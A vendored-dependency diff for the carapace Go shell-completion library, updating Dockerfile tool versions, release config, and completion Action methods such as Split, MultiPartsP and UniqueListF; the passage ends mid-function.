+ case "&>>":
+ return WORDBREAK_REDIRECT_OUTPUT_BOTH_APPEND
+ case "<<<":
+ return WORDBREAK_REDIRECT_INPUT_STRING
+ case "<&":
+ return WORDBREAK_REDIRECT_INPUT_DUPLICATE
+ case "<>":
+ return WORDBREAK_REDIRECT_INPUT_OUTPUT
+ case "|":
+ return WORDBREAK_PIPE
+ case "|&":
+ return WORDBREAK_PIPE_WITH_STDERR
+ case "&":
+ return WORDBREAK_LIST_ASYNC
+ case ";":
+ return WORDBREAK_LIST_SEQUENTIAL
+ case "&&":
+ return WORDBREAK_LIST_AND
+ case "||":
+ return WORDBREAK_LIST_OR
+ default:
+ // TODO check COMP_WORDBREAKS -> WORDBREAK_OTHER
+ return WORDBREAK_UNKNOWN
+ }
+}
diff --git a/vendor/github.com/rsteube/carapace/.gitignore b/vendor/github.com/rsteube/carapace/.gitignore
index 39959f6a91..592ae4f2d8 100644
--- a/vendor/github.com/rsteube/carapace/.gitignore
+++ b/vendor/github.com/rsteube/carapace/.gitignore
@@ -1,4 +1,9 @@
-.vscode
-example/example
caraparse/caraparse
+.cover
docs/book
+example/cmd/_test_files/*.txt
+example/example
+example-nonposix/example-nonposix
+integration.cov
+unit.cov
+.vscode
diff --git a/vendor/github.com/rsteube/carapace/.goreleaser.yml b/vendor/github.com/rsteube/carapace/.goreleaser.yml
index 1a57ff365f..5891c22a22 100644
--- a/vendor/github.com/rsteube/carapace/.goreleaser.yml
+++ b/vendor/github.com/rsteube/carapace/.goreleaser.yml
@@ -21,13 +21,10 @@ builds:
main: ./example-nonposix
binary: example-nonposix
archives:
- - replacements:
- darwin: Darwin
- linux: Linux
- windows: Windows
- 386: i386
- amd64: x86_64
- name_template: "example_{{ .Version }}_{{ .Os }}_{{ .Arch }}"
+ - name_template: 'example_{{ .Os }}_{{ .Arch }}{{ if .Arm }}v{{ .Arm }}{{ end }}'
+ format_overrides:
+ - goos: windows
+ format: zip
checksum:
name_template: 'checksums.txt'
snapshot:
@@ -38,3 +35,5 @@ changelog:
exclude:
- '^docs:'
- '^test:'
+release:
+ prerelease: auto
\ No newline at end of file
diff --git a/vendor/github.com/rsteube/carapace/Dockerfile b/vendor/github.com/rsteube/carapace/Dockerfile
index 91698fa610..15d52548af 100644
--- a/vendor/github.com/rsteube/carapace/Dockerfile
+++ b/vendor/github.com/rsteube/carapace/Dockerfile
@@ -1,9 +1,9 @@
-FROM golang:1.20-bullseye as base
+FROM golang:bookworm as base
LABEL org.opencontainers.image.source https://github.com/rsteube/carapace
USER root
FROM base as bat
-ARG version=0.22.1
+ARG version=0.24.0
RUN curl -L https://github.com/sharkdp/bat/releases/download/v${version}/bat-v${version}-x86_64-unknown-linux-gnu.tar.gz \
| tar -C /usr/local/bin/ --strip-components=1 -xvz bat-v${version}-x86_64-unknown-linux-gnu/bat \
&& chmod +x /usr/local/bin/bat
@@ -14,12 +14,12 @@ RUN git clone --recursive https://github.com/akinomyoga/ble.sh.git \
&& make -C ble.sh
FROM base as elvish
-ARG version=0.18.0
+ARG version=0.19.2
RUN curl https://dl.elv.sh/linux-amd64/elvish-v${version}.tar.gz | tar -xvz \
&& mv elvish-* /usr/local/bin/elvish
FROM base as goreleaser
-ARG version=1.15.1
+ARG version=1.21.2
RUN curl -L https://github.com/goreleaser/goreleaser/releases/download/v${version}/goreleaser_Linux_x86_64.tar.gz | tar -xvz goreleaser \
&& mv goreleaser /usr/local/bin/goreleaser
@@ -33,12 +33,12 @@ FROM rsteube/ion-poc as ion-poc
# && sudo make update-shells prefix=/usr
FROM base as nushell
-ARG version=0.75.0
+ARG version=0.85.0
RUN curl -L https://github.com/nushell/nushell/releases/download/${version}/nu-${version}-x86_64-unknown-linux-gnu.tar.gz | tar -xvz \
&& mv nu-${version}-x86_64-unknown-linux-gnu/nu* /usr/local/bin
FROM base as oil
-ARG version=0.14.0
+ARG version=0.18.0
RUN apt-get update && apt-get install -y libreadline-dev
RUN curl https://www.oilshell.org/download/oil-${version}.tar.gz | tar -xvz \
&& cd oil-*/ \
@@ -47,38 +47,38 @@ RUN curl https://www.oilshell.org/download/oil-${version}.tar.gz | tar -xvz \
&& ./install
FROM base as starship
-ARG version=1.12.0
+ARG version=1.16.0
RUN wget -qO- "https://github.com/starship/starship/releases/download/v${version}/starship-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz starship \
&& mv starship /usr/local/bin/
FROM base as vivid
-ARG version=0.8.0
+ARG version=0.9.0
RUN wget -qO- "https://github.com/sharkdp/vivid/releases/download/v${version}/vivid-v${version}-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz vivid-v${version}-x86_64-unknown-linux-gnu/vivid \
&& mv vivid-v${version}-x86_64-unknown-linux-gnu/vivid /usr/local/bin/
FROM base as mdbook
-ARG version=0.4.25
-RUN curl -L "https://github.com/rust-lang/mdBook/releases/download/v${version}/mdbook-v${version}-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz mdbook \
- && curl -L "https://github.com/Michael-F-Bryan/mdbook-linkcheck/releases/download/v0.7.0/mdbook-linkcheck-v0.7.0-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz mdbook-linkcheck \
- && mv mdbook* /usr/local/bin/
+ARG version=0.4.35
+RUN apt-get update && apt-get install -y unzip \
+ && curl -L "https://github.com/rust-lang/mdBook/releases/download/v${version}/mdbook-v${version}-x86_64-unknown-linux-gnu.tar.gz" | tar -xvz mdbook \
+ && wget -q "https://github.com/Michael-F-Bryan/mdbook-linkcheck/releases/download/v0.7.7/mdbook-linkcheck.x86_64-unknown-linux-gnu.zip" \
+ && unzip mdbook-linkcheck.x86_64-unknown-linux-gnu.zip mdbook-linkcheck \
+ && chmod +x mdbook-linkcheck \
+ && mv mdbook mdbook-linkcheck /usr/local/bin/
FROM base
-RUN apt-get update && apt-get install -y libicu67
-RUN wget -q https://github.com/PowerShell/PowerShell/releases/download/v7.3.0/powershell_7.3.0-1.deb_amd64.deb\
- && dpkg -i powershell_7.3.0-1.deb_amd64.deb \
- && rm powershell_7.3.0-1.deb_amd64.deb
+RUN apt-get update && apt-get install -y libicu72
+RUN wget -q https://github.com/PowerShell/PowerShell/releases/download/v7.3.8/powershell_7.3.8-1.deb_amd64.deb\
+ && dpkg -i powershell_7.3.8-1.deb_amd64.deb \
+ && rm powershell_7.3.8-1.deb_amd64.deb
RUN apt-get update \
&& apt-get install -y fish \
elvish \
- python3-pip \
+ expect \
shellcheck \
tcsh \
- zsh \
- expect
-
-RUN pip3 install --no-cache-dir --disable-pip-version-check xonsh prompt_toolkit \
- && ln -s $(which xonsh) /usr/bin/xonsh
+ xonsh \
+ zsh
RUN pwsh -Command "Install-Module PSScriptAnalyzer -Scope AllUsers -Force"
diff --git a/vendor/github.com/rsteube/carapace/README.md b/vendor/github.com/rsteube/carapace/README.md
index 8344123bbe..22bf7a0833 100644
--- a/vendor/github.com/rsteube/carapace/README.md
+++ b/vendor/github.com/rsteube/carapace/README.md
@@ -47,9 +47,12 @@ See [carapace-bin](https://github.com/rsteube/carapace-bin) for examples.
- [carapace-bin](https://github.com/rsteube/carapace-bin) multi-shell multi-command argument completer
- [carapace-bridge](https://github.com/rsteube/carapace-bridge) completion bridge
- [carapace-pflag](https://github.com/rsteube/carapace-pflag) Drop-in replacement for spf13/pflag with support for non-posix variants
+- [carapace-shlex](https://github.com/rsteube/carapace-shlex) simple shell lexer
- [carapace-spec](https://github.com/rsteube/carapace-spec) define simple completions using a spec file
- [carapace-spec-clap](https://github.com/rsteube/carapace-spec-clap) spec generation for clap-rs/clap
+- [carapace-spec-kingpin](https://github.com/rsteube/carapace-spec-kingpin) spec generation for alecthomas/kingpin
- [carapace-spec-kong](https://github.com/rsteube/carapace-spec-kong) spec generation for alecthomas/kong
+- [carapace-spec-man](https://github.com/rsteube/carapace-spec-man) spec generation for manpages
- [carapace-spec-urfavecli](https://github.com/rsteube/carapace-spec-urfavecli) spec generation for urfave/cli
[cobra]:https://github.com/spf13/cobra
diff --git a/vendor/github.com/rsteube/carapace/action.go b/vendor/github.com/rsteube/carapace/action.go
index 4ad418d106..eba6722614 100644
--- a/vendor/github.com/rsteube/carapace/action.go
+++ b/vendor/github.com/rsteube/carapace/action.go
@@ -3,13 +3,18 @@ package carapace
import (
"fmt"
"os"
+ "regexp"
"runtime"
+ "strings"
"time"
+ shlex "github.com/rsteube/carapace-shlex"
"github.com/rsteube/carapace/internal/cache"
"github.com/rsteube/carapace/internal/common"
pkgcache "github.com/rsteube/carapace/pkg/cache"
+ "github.com/rsteube/carapace/pkg/match"
"github.com/rsteube/carapace/pkg/style"
+ pkgtraverse "github.com/rsteube/carapace/pkg/traverse"
)
// Action indicates how to complete a flag or positional argument.
@@ -52,6 +57,57 @@ func (a Action) Cache(timeout time.Duration, keys ...pkgcache.Key) Action {
return a
}
+// Chdir changes the current working directory to the named directory for the duration of invocation.
+func (a Action) Chdir(dir string) Action {
+ return ActionCallback(func(c Context) Action {
+ abs, err := c.Abs(dir)
+ if err != nil {
+ return ActionMessage(err.Error())
+ }
+ if info, err := os.Stat(abs); err != nil {
+ return ActionMessage(err.Error())
+ } else if !info.IsDir() {
+ return ActionMessage("not a directory: %v", abs)
+ }
+ c.Dir = abs
+ return a.Invoke(c).ToA()
+ })
+}
+
+// ChdirF is like Chdir but uses a function.
+func (a Action) ChdirF(f func(tc pkgtraverse.Context) (string, error)) Action {
+ return ActionCallback(func(c Context) Action {
+ newDir, err := f(c)
+ if err != nil {
+ return ActionMessage(err.Error())
+ }
+ return a.Chdir(newDir)
+ })
+}
+
+// Filter filters given values.
+//
+// carapace.ActionValues("A", "B", "C").Filter("B") // ["A", "C"]
+func (a Action) Filter(values ...string) Action {
+ return ActionCallback(func(c Context) Action {
+ return a.Invoke(c).Filter(values...).ToA()
+ })
+}
+
+// FilterArgs filters Context.Args.
+func (a Action) FilterArgs() Action {
+ return ActionCallback(func(c Context) Action {
+ return a.Filter(c.Args...)
+ })
+}
+
+// FilterArgs filters Context.Parts.
+func (a Action) FilterParts() Action {
+ return ActionCallback(func(c Context) Action {
+ return a.Filter(c.Parts...)
+ })
+}
+
// Invoke executes the callback of an action if it exists (supports nesting).
func (a Action) Invoke(c Context) InvokedAction {
if c.Args == nil {
@@ -72,6 +128,95 @@ func (a Action) Invoke(c Context) InvokedAction {
return InvokedAction{a}
}
+// List wraps the Action in an ActionMultiParts with given divider.
+func (a Action) List(divider string) Action {
+ return ActionMultiParts(divider, func(c Context) Action {
+ return a.Invoke(c).ToA().NoSpace()
+ })
+}
+
+// MultiParts splits values of an Action by given dividers and completes each segment separately.
+func (a Action) MultiParts(dividers ...string) Action {
+ return ActionCallback(func(c Context) Action {
+ return a.Invoke(c).ToMultiPartsA(dividers...)
+ })
+}
+
+// MultiPartsP is like MultiParts but with placeholders.
+func (a Action) MultiPartsP(delimiter string, pattern string, f func(placeholder string, matches map[string]string) Action) Action {
+ return ActionCallback(func(c Context) Action {
+ invoked := a.Invoke(c)
+
+ return ActionMultiParts(delimiter, func(c Context) Action {
+ rPlaceholder := regexp.MustCompile(pattern)
+ matchedData := make(map[string]string)
+ matchedSegments := make(map[string]common.RawValue)
+ staticMatches := make(map[int]bool)
+
+ path:
+ for index, value := range invoked.rawValues {
+ segments := strings.Split(value.Value, delimiter)
+ segment:
+ for index, segment := range segments {
+ if index > len(c.Parts)-1 {
+ break segment
+ } else {
+ if segment != c.Parts[index] {
+ if !rPlaceholder.MatchString(segment) {
+ continue path // skip this path as it doesn't match and is not a placeholder
+ } else {
+ matchedData[segment] = c.Parts[index] // store entered data for placeholder (overwrite if duplicate)
+ }
+ } else {
+ staticMatches[index] = true // static segment matches so placeholders should be ignored for this index
+ }
+ }
+ }
+
+ if len(segments) < len(c.Parts)+1 {
+ continue path // skip path as it is shorter than what was entered (must be after staticMatches being set)
+ }
+
+ for key := range staticMatches {
+ if segments[key] != c.Parts[key] {
+ continue path // skip this path as it has a placeholder where a static segment was matched
+ }
+ }
+
+ // store segment as path matched so far and this is currently being completed
+ if len(segments) == (len(c.Parts) + 1) {
+ matchedSegments[segments[len(c.Parts)]] = invoked.rawValues[index]
+ } else {
+ matchedSegments[segments[len(c.Parts)]+delimiter] = common.RawValue{}
+ }
+ }
+
+ actions := make([]Action, 0, len(matchedSegments))
+ for key, value := range matchedSegments {
+ if trimmedKey := strings.TrimSuffix(key, delimiter); rPlaceholder.MatchString(trimmedKey) {
+ suffix := ""
+ if strings.HasSuffix(key, delimiter) {
+ suffix = delimiter
+ }
+ actions = append(actions, ActionCallback(func(c Context) Action {
+ invoked := f(trimmedKey, matchedData).Invoke(c).Suffix(suffix)
+ for index := range invoked.rawValues {
+ invoked.rawValues[index].Display += suffix
+ }
+ return invoked.ToA()
+ }))
+ } else {
+ actions = append(actions, ActionStyledValuesDescribed(key, value.Description, value.Style)) // TODO tag,..
+ }
+ }
+
+ a := Batch(actions...).ToA()
+ a.meta.Merge(invoked.meta)
+ return a
+ })
+ })
+}
+
// NoSpace disables space suffix for given characters (or all if none are given).
func (a Action) NoSpace(suffixes ...rune) Action {
return ActionCallback(func(c Context) Action {
@@ -83,20 +228,104 @@ func (a Action) NoSpace(suffixes ...rune) Action {
})
}
-// Usage sets the usage.
-func (a Action) Usage(usage string, args ...interface{}) Action {
- return a.UsageF(func() string {
- return fmt.Sprintf(usage, args...)
+// Prefix adds a prefix to values (only the ones inserted, not the display values).
+//
+// carapace.ActionValues("melon", "drop", "fall").Prefix("water")
+func (a Action) Prefix(prefix string) Action {
+ return ActionCallback(func(c Context) Action {
+ switch {
+ case match.HasPrefix(c.Value, prefix):
+ c.Value = match.TrimPrefix(c.Value, prefix)
+ case match.HasPrefix(prefix, c.Value):
+ c.Value = ""
+ default:
+ return ActionValues()
+ }
+ return a.Invoke(c).Prefix(prefix).ToA()
})
}
-// Usage sets the usage using a function.
-func (a Action) UsageF(f func() string) Action {
+// Retain retains given values.
+//
+// carapace.ActionValues("A", "B", "C").Retain("A", "C") // ["A", "C"]
+func (a Action) Retain(values ...string) Action {
return ActionCallback(func(c Context) Action {
- if usage := f(); usage != "" {
- a.meta.Usage = usage
+ return a.Invoke(c).Retain(values...).ToA()
+ })
+}
+
+// Shift shifts positional arguments left `n` times.
+func (a Action) Shift(n int) Action {
+ return ActionCallback(func(c Context) Action {
+ switch {
+ case n < 0:
+ return ActionMessage("invalid argument [ActionShift]: %v", n)
+ case len(c.Args) < n:
+ c.Args = []string{}
+ default:
+ c.Args = c.Args[n:]
}
- return a
+ return a.Invoke(c).ToA()
+ })
+}
+
+// Split splits `Context.Value` lexicographically and replaces `Context.Args` with the tokens.
+func (a Action) Split() Action {
+ return a.split(false)
+}
+
+// SplitP is like Split but supports pipelines.
+func (a Action) SplitP() Action {
+ return a.split(true)
+}
+
+func (a Action) split(pipelines bool) Action {
+ return ActionCallback(func(c Context) Action {
+ tokens, err := shlex.Split(c.Value)
+ if err != nil {
+ return ActionMessage(err.Error())
+ }
+
+ var context Context
+ if pipelines {
+ tokens = tokens.CurrentPipeline()
+ context = NewContext(tokens.FilterRedirects().Words().Strings()...)
+ } else {
+ context = NewContext(tokens.Words().Strings()...)
+ }
+
+ originalValue := c.Value
+ prefix := originalValue[:tokens.Words().CurrentToken().Index]
+ c.Args = context.Args
+ c.Parts = []string{}
+ c.Value = context.Value
+
+ if pipelines { // support redirects
+ if len(tokens) > 1 && tokens[len(tokens)-2].WordbreakType.IsRedirect() {
+ LOG.Printf("completing files for redirect arg %#v", tokens.Words().CurrentToken().Value)
+ prefix = originalValue[:tokens.CurrentToken().Index]
+ c.Value = tokens.CurrentToken().Value
+ a = ActionFiles()
+ }
+ }
+
+ invoked := a.Invoke(c)
+ for index, value := range invoked.rawValues {
+ if !invoked.meta.Nospace.Matches(value.Value) || strings.Contains(value.Value, " ") { // TODO special characters
+ switch tokens.CurrentToken().State {
+ case shlex.QUOTING_ESCAPING_STATE:
+ invoked.rawValues[index].Value = fmt.Sprintf(`"%v"`, strings.ReplaceAll(value.Value, `"`, `\"`))
+ case shlex.QUOTING_STATE:
+ invoked.rawValues[index].Value = fmt.Sprintf(`'%v'`, strings.ReplaceAll(value.Value, `'`, `'"'"'`))
+ default:
+ invoked.rawValues[index].Value = strings.Replace(value.Value, ` `, `\ `, -1)
+ }
+ }
+ if !invoked.meta.Nospace.Matches(value.Value) {
+ invoked.rawValues[index].Value += " "
+ }
+ }
+ return invoked.Prefix(prefix).ToA().NoSpace()
})
}
@@ -110,19 +339,6 @@ func (a Action) Style(s string) Action {
})
}
-// Style sets the style using a reference.
-//
-// ActionValues("value").StyleR(&style.Carapace.Value)
-// ActionValues("description").StyleR(&style.Carapace.Value)
-func (a Action) StyleR(s *string) Action {
- return ActionCallback(func(c Context) Action {
- if s != nil {
- return a.Style(*s)
- }
- return a
- })
-}
-
// Style sets the style using a function.
//
// ActionValues("dir/", "test.txt").StyleF(style.ForPathExt)
@@ -137,44 +353,25 @@ func (a Action) StyleF(f func(s string, sc style.Context) string) Action {
})
}
-// Tag sets the tag.
-//
-// ActionValues("192.168.1.1", "127.0.0.1").Tag("interfaces").
-func (a Action) Tag(tag string) Action {
- return a.TagF(func(value string) string {
- return tag
- })
-}
-
-// Tag sets the tag using a function.
+// Style sets the style using a reference.
//
-// ActionValues("192.168.1.1", "127.0.0.1").TagF(func(value string) string {
-// return "interfaces"
-// })
-func (a Action) TagF(f func(value string) string) Action {
+// ActionValues("value").StyleR(&style.Carapace.Value)
+// ActionValues("description").StyleR(&style.Carapace.Value)
+func (a Action) StyleR(s *string) Action {
return ActionCallback(func(c Context) Action {
- invoked := a.Invoke(c)
- for index, v := range invoked.rawValues {
- invoked.rawValues[index].Tag = f(v.Value)
+ if s != nil {
+ return a.Style(*s)
}
- return invoked.ToA()
+ return a
})
}
-// Chdir changes the current working directory to the named directory for the duration of invocation.
-func (a Action) Chdir(dir string) Action {
+// Suffix adds a suffx to values (only the ones inserted, not the display values).
+//
+// carapace.ActionValues("apple", "melon", "orange").Suffix("juice")
+func (a Action) Suffix(suffix string) Action {
return ActionCallback(func(c Context) Action {
- abs, err := c.Abs(dir)
- if err != nil {
- return ActionMessage(err.Error())
- }
- if info, err := os.Stat(abs); err != nil {
- return ActionMessage(err.Error())
- } else if !info.IsDir() {
- return ActionMessage("not a directory: %v", abs)
- }
- c.Dir = abs
- return a.Invoke(c).ToA()
+ return a.Invoke(c).Suffix(suffix).ToA()
})
}
@@ -189,47 +386,27 @@ func (a Action) Suppress(expr ...string) Action {
})
}
-// MultiParts splits values of an Action by given dividers and completes each segment separately.
-func (a Action) MultiParts(dividers ...string) Action {
- return ActionCallback(func(c Context) Action {
- return a.Invoke(c).ToMultiPartsA(dividers...)
- })
-}
-
-// List wraps the Action in an ActionMultiParts with given divider.
-func (a Action) List(divider string) Action {
- return ActionMultiParts(divider, func(c Context) Action {
- return a.Invoke(c).ToA().NoSpace()
- })
-}
-
-// UniqueList wraps the Action in an ActionMultiParts with given divider.
-func (a Action) UniqueList(divider string) Action {
- return ActionMultiParts(divider, func(c Context) Action {
- noSpace := make([]rune, 0)
- if runes := []rune(divider); len(runes) > 0 {
- noSpace = append(noSpace, runes[len(runes)-1])
- }
- noSpace = append(noSpace, []rune(a.meta.Nospace.String())...)
- return a.Invoke(c).Filter(c.Parts).ToA().NoSpace([]rune(noSpace)...)
- })
-}
-
-// Prefix adds a prefix to values (only the ones inserted, not the display values).
+// Tag sets the tag.
//
-// carapace.ActionValues("melon", "drop", "fall").Prefix("water")
-func (a Action) Prefix(prefix string) Action {
- return ActionCallback(func(c Context) Action {
- return a.Invoke(c).Prefix(prefix).ToA()
+// ActionValues("192.168.1.1", "127.0.0.1").Tag("interfaces").
+func (a Action) Tag(tag string) Action {
+ return a.TagF(func(value string) string {
+ return tag
})
}
-// Suffix adds a suffx to values (only the ones inserted, not the display values).
+// Tag sets the tag using a function.
//
-// carapace.ActionValues("apple", "melon", "orange").Suffix("juice")
-func (a Action) Suffix(suffix string) Action {
+// ActionValues("192.168.1.1", "127.0.0.1").TagF(func(value string) string {
+// return "interfaces"
+// })
+func (a Action) TagF(f func(s string) string) Action {
return ActionCallback(func(c Context) Action {
- return a.Invoke(c).Suffix(suffix).ToA()
+ invoked := a.Invoke(c)
+ for index, v := range invoked.rawValues {
+ invoked.rawValues[index].Tag = f(v.Value)
+ }
+ return invoked.ToA()
})
}
@@ -257,3 +434,37 @@ func (a Action) Timeout(d time.Duration, alternative Action) Action {
return result.ToA()
})
}
+
+// UniqueList wraps the Action in an ActionMultiParts with given divider.
+func (a Action) UniqueList(divider string) Action {
+ return ActionMultiParts(divider, func(c Context) Action {
+ return a.FilterParts().NoSpace()
+ })
+}
+
+// UniqueListF is like UniqueList but uses a function to transform values before filtering.
+func (a Action) UniqueListF(divider string, f func(s string) string) Action {
+ return ActionMultiParts(divider, func(c Context) Action {
+ for i := range c.Parts {
+ c.Parts[i] = f(c.Parts[i])
+ }
+ return a.Filter(c.Parts...).NoSpace()
+ })
+}
+
+// Usage sets the usage.
+func (a Action) Usage(usage string, args ...interface{}) Action {
+ return a.UsageF(func() string {
+ return fmt.Sprintf(usage, args...)
+ })
+}
+
+// Usage sets the usage using a function.
+func (a Action) UsageF(f func() string) Action {
+ return ActionCallback(func(c Context) Action {
+ if usage := f(); usage != "" {
+ a.meta.Usage = usage
+ }
+ return a
+ })
+}
diff --git a/vendor/github.com/rsteube/carapace/carapace.go b/vendor/github.com/rsteube/carapace/carapace.go
index 6573567f18..900691b89a 100644
--- a/vendor/github.com/rsteube/carapace/carapace.go
+++ b/vendor/github.com/rsteube/carapace/carapace.go
@@ -57,7 +57,7 @@ func (c Carapace) PositionalCompletion(action ...Action) {
// PositionalAnyCompletion defines completion for any positional arguments not already defined.
func (c Carapace) PositionalAnyCompletion(action Action) {
- storage.get(c.cmd).positionalAny = action
+ storage.get(c.cmd).positionalAny = &action
}
// DashCompletion defines completion for positional arguments after dash (`--`) using a list of Actions.
@@ -67,12 +67,16 @@ func (c Carapace) DashCompletion(action ...Action) {
// DashAnyCompletion defines completion for any positional arguments after dash (`--`) not already defined.
func (c Carapace) DashAnyCompletion(action Action) {
- storage.get(c.cmd).dashAny = action
+ storage.get(c.cmd).dashAny = &action
}
// FlagCompletion defines completion for flags using a map consisting of name and Action.
func (c Carapace) FlagCompletion(actions ActionMap) {
- if e := storage.get(c.cmd); e.flag == nil {
+ e := storage.get(c.cmd)
+ e.flagMutex.Lock()
+ defer e.flagMutex.Unlock()
+
+ if e.flag == nil {
e.flag = actions
} else {
for name, action := range actions {
@@ -81,18 +85,30 @@ func (c Carapace) FlagCompletion(actions ActionMap) {
}
}
+const annotation_standalone = "carapace_standalone"
+
// Standalone prevents cobra defaults interfering with standalone mode (e.g. implicit help command).
func (c Carapace) Standalone() {
c.cmd.CompletionOptions = cobra.CompletionOptions{
DisableDefaultCmd: true,
}
- // TODO probably needs to be done for each subcommand
- // TODO still needed?
- if c.cmd.Flag("help") != nil {
- c.cmd.Flags().Bool("help", false, "skip")
- c.cmd.Flag("help").Hidden = true
+
+ if c.cmd.Annotations == nil {
+ c.cmd.Annotations = make(map[string]string)
}
- c.cmd.SetHelpCommand(&cobra.Command{Hidden: true})
+ c.cmd.Annotations[annotation_standalone] = "true"
+
+ c.PreRun(func(cmd *cobra.Command, args []string) {
+ if f := cmd.Flag("help"); f == nil {
+ cmd.Flags().Bool("help", false, "")
+ cmd.Flag("help").Hidden = true
+ } else if f.Annotations != nil {
+ if _, ok := f.Annotations[cobra.FlagSetByCobraAnnotation]; ok {
+ cmd.Flag("help").Hidden = true
+ }
+ }
+ })
+ c.cmd.SetHelpCommand(&cobra.Command{Use: "_carapace_help", Hidden: true, Deprecated: "fake help command to prevent default"})
}
// Snippet creates completion script for given shell.
diff --git a/vendor/github.com/rsteube/carapace/command.go b/vendor/github.com/rsteube/carapace/command.go
index 6de00c4c84..4bd1ea8dc9 100644
--- a/vendor/github.com/rsteube/carapace/command.go
+++ b/vendor/github.com/rsteube/carapace/command.go
@@ -6,13 +6,13 @@ import (
"os"
"strings"
- "github.com/rsteube/carapace/internal/uid"
+ "github.com/rsteube/carapace/internal/spec"
"github.com/rsteube/carapace/pkg/style"
"github.com/spf13/cobra"
)
-func addCompletionCommand(cmd *cobra.Command) {
- for _, c := range cmd.Commands() {
+func addCompletionCommand(targetCmd *cobra.Command) {
+ for _, c := range targetCmd.Commands() {
if c.Name() == "_carapace" {
return
}
@@ -22,6 +22,7 @@ func addCompletionCommand(cmd *cobra.Command) {
Use: "_carapace",
Hidden: true,
Run: func(cmd *cobra.Command, args []string) {
+ LOG.Print(strings.Repeat("-", 80))
LOG.Printf("%#v", os.Args)
if len(args) > 2 && strings.HasPrefix(args[2], "_") {
@@ -32,10 +33,16 @@ func addCompletionCommand(cmd *cobra.Command) {
panic("missing parent command") // this should never happen
}
- if s, err := complete(cmd.Parent(), args); err != nil {
- fmt.Fprintln(io.MultiWriter(cmd.OutOrStderr(), LOG.Writer()), err.Error())
+ parentCmd := cmd.Parent()
+ if parentCmd.Annotations[annotation_standalone] == "true" {
+ // TODO how to handle an explicit `_carapace` command?
+ parentCmd.RemoveCommand(cmd) // don't complete local `_carapace` in standalone mode
+ }
+
+ if s, err := complete(parentCmd, args); err != nil {
+ fmt.Fprintln(io.MultiWriter(parentCmd.OutOrStderr(), LOG.Writer()), err.Error())
} else {
- fmt.Fprintln(io.MultiWriter(cmd.OutOrStdout(), LOG.Writer()), s)
+ fmt.Fprintln(io.MultiWriter(parentCmd.OutOrStdout(), LOG.Writer()), s)
}
},
FParseErrWhitelist: cobra.FParseErrWhitelist{
@@ -44,7 +51,7 @@ func addCompletionCommand(cmd *cobra.Command) {
DisableFlagParsing: true,
}
- cmd.AddCommand(carapaceCmd)
+ targetCmd.AddCommand(carapaceCmd)
Carapace{carapaceCmd}.PositionalCompletion(
ActionStyledValues(
@@ -57,19 +64,23 @@ func addCompletionCommand(cmd *cobra.Command) {
"nushell", "#29d866",
"oil", "#373a36",
"powershell", "#e8a16f",
- "spec", style.Default,
"tcsh", "#412f09",
"xonsh", "#a8ffa9",
"zsh", "#efda53",
),
- ActionValues(cmd.Root().Name()),
+ ActionValues(targetCmd.Root().Name()),
)
Carapace{carapaceCmd}.PositionalAnyCompletion(
ActionCallback(func(c Context) Action {
args := []string{"_carapace", "export", ""}
args = append(args, c.Args[2:]...)
args = append(args, c.Value)
- return ActionExecCommand(uid.Executable(), args...)(func(output []byte) Action {
+
+ executable, err := os.Executable()
+ if err != nil {
+ return ActionMessage(err.Error())
+ }
+ return ActionExecCommand(executable, args...)(func(output []byte) Action { // TODO does not work with sandbox tests for `example _carapace ...`
if string(output) == "" {
return ActionValues()
}
@@ -78,6 +89,14 @@ func addCompletionCommand(cmd *cobra.Command) {
}),
)
+ specCmd := &cobra.Command{
+ Use: "spec",
+ Run: func(cmd *cobra.Command, args []string) {
+ fmt.Fprint(cmd.OutOrStdout(), spec.Spec(targetCmd))
+ },
+ }
+ carapaceCmd.AddCommand(specCmd)
+
styleCmd := &cobra.Command{
Use: "style",
Args: cobra.ExactArgs(1),
diff --git a/vendor/github.com/rsteube/carapace/compat.go b/vendor/github.com/rsteube/carapace/compat.go
index 69a02fa9a8..3568c407ab 100644
--- a/vendor/github.com/rsteube/carapace/compat.go
+++ b/vendor/github.com/rsteube/carapace/compat.go
@@ -2,6 +2,7 @@ package carapace
import (
"fmt"
+ "strings"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -10,17 +11,27 @@ import (
func registerValidArgsFunction(cmd *cobra.Command) {
if cmd.ValidArgsFunction == nil {
cmd.ValidArgsFunction = func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
- action := storage.getPositional(cmd, len(args)).Invoke(Context{Args: args, Value: toComplete})
+ action := Action{}.Invoke(Context{Args: args, Value: toComplete}) // TODO just IvokedAction{} ok?
+ if storage.hasPositional(cmd, len(args)) {
+ action = storage.getPositional(cmd, len(args)).Invoke(Context{Args: args, Value: toComplete})
+ }
return cobraValuesFor(action), cobraDirectiveFor(action)
}
}
}
func registerFlagCompletion(cmd *cobra.Command) {
- cmd.Flags().VisitAll(func(f *pflag.Flag) {
+ cmd.LocalFlags().VisitAll(func(f *pflag.Flag) {
+ if !storage.hasFlag(cmd, f.Name) {
+ return // skip if not defined in carapace
+ }
+ if _, ok := cmd.GetFlagCompletionFunc(f.Name); ok {
+ return // skip if already defined in cobra
+ }
+
err := cmd.RegisterFlagCompletionFunc(f.Name, func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
a := storage.getFlag(cmd, f.Name)
- action := a.Invoke(Context{Args: args, Value: toComplete})
+ action := a.Invoke(Context{Args: args, Value: toComplete}) // TODO cmd might differ for persistentflags and either way args or cmd will be wrong
return cobraValuesFor(action), cobraDirectiveFor(action)
})
if err != nil {
@@ -51,3 +62,48 @@ func cobraDirectiveFor(action InvokedAction) cobra.ShellCompDirective {
}
return directive
}
+
+type compDirective cobra.ShellCompDirective
+
+func (d compDirective) matches(cobraDirective cobra.ShellCompDirective) bool {
+ return d&compDirective(cobraDirective) != 0
+}
+
+func (d compDirective) ToA(values ...string) Action {
+ var action Action
+ switch {
+ case d.matches(cobra.ShellCompDirectiveError):
+ return ActionMessage("an error occurred")
+ case d.matches(cobra.ShellCompDirectiveFilterDirs):
+ switch len(values) {
+ case 0:
+ action = ActionDirectories()
+ default:
+ action = ActionDirectories().Chdir(values[0])
+ }
+ case d.matches(cobra.ShellCompDirectiveFilterFileExt):
+ extensions := make([]string, 0)
+ for _, v := range values {
+ extensions = append(extensions, "."+v)
+ }
+ return ActionFiles(extensions...)
